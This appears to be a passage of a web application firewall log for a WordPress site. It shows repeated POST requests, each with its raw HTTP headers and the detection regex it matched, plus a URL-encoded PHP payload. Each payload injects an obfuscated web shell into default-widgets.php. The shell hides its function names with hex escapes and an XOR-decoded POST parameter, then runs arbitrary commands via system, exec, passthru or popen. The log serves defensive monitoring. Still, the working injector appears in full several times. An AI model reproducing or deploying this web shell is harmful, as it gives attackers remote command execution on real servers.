255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%2520function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIztvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5251\n\nVh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%2520function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:56:31","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%2520function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5251\n\nnW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%2520function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:56:33","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%2520function_exists%2528%2524query_handler6%2529%2520%2526%2526%2520function_exists%2528%2524query_handler7%2529%2529%2520%257B%2520%2524elem_ref%2520%253D%2520%2524query_handler5%2528%2524symbol%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524elem_ref%2529%2520%257B%2520%2524pointer_flag%2520%253D%2520%2524query_handler6%2528%2524elem_ref%2529%253B%2520%2524query_handler7%2528%2524elem_ref%2529%253B%2520print%2520%2524pointer_flag%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5274\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/default-widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524query_handler2%2520%253D%2520%2522s%255Cx68%255Cx65ll_e%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524query_handler7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524query_handler3%2520%253D%2520%2522exec%2522%253B%2520%2524query_handler1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524query_handler5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524secure_access%2520%253D%2520%2522%255Cx68%255Cx65%255Cx78%255Cx32bin%2522%253B%2520%2524query_handler6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61m_%255Cx67et_%255Cx63on%255Cx74ent%255Cx73%2522%253B%2520%2524query_handler4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524dchunk%2520%252C%2520%2524elem%2529%257B%2520%2524ref%2520%253D%2527%2527%2520%253B%2520for%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524dchunk%2529%253B%2520%2524l%252B%252B%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524dchunk%255B%2524l%255D%2529%255E%2524elem%2529%253B%2520%257D%2520return%2520%2524ref%253B%2520%257D%2520%2524symbol%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522%255Cx73%255Cx79mb%255Cx6Fl%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520reverse_lookup%2528%2524symbol%252C%252094%2529%253B%2520if%2520%2528function_exists%2528%2524query_handler1%2529%2529%2520%257B%2520%2524query_handler1%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler2%2529%2529%2520%257B%2520print%2520%2524query_handler2%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler3%2529%2529%2520%257B%2520%2524query_handler3%2528%2524symbol%252C%2520%2524val_dchunk%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler4%2529%2529%2520%257B%2520%2524query_handler4%2528%2524symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524query_handler5%2529%2520%2526%2526%252